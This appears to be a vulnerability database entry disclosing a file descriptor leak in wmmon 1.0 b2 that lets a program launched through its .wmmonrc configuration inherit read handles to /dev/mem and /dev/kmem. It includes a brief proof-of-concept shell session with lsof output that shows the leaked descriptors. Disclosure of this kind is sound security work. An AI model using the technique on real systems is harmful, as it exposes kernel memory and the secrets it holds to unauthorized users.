WMMon 1.0 b2 Memory Character File Open File Descriptor Read Vulnerability

ID SSV:75619
Type seebug
Reporter Root
Modified 2014-07-01T00:00:00


No description provided by source.

                                                source: http://www.securityfocus.com/bid/5718/info

It has been reported that wmmon is vulnerable to a leakage of open file descriptors that may result in unauthorized disclosure of kernel memory. It is allegedly possible for attackers to inherit the open file descriptors for /dev/mem and /dev/kmem by executing a malicious program through wmmon. The program that is executed can be specified by the attacker at the command line.

bash-2.05a$ cat .wmmonrc
left "/home/dim/dummy"
bash-2.05a$ wmmon &
[1] 793
bash-2.05a$ Monitoring 5 devices for activity.
current stat is :1

bash-2.05a$ /usr/local/sbin/lsof |grep dummy|grep mem
dummy 797 dim 3r VCHR 2,0 0t0 21146 /dev/mem
dummy 797 dim 4r VCHR 2,1 0xc040f54c 21145 /dev/kmem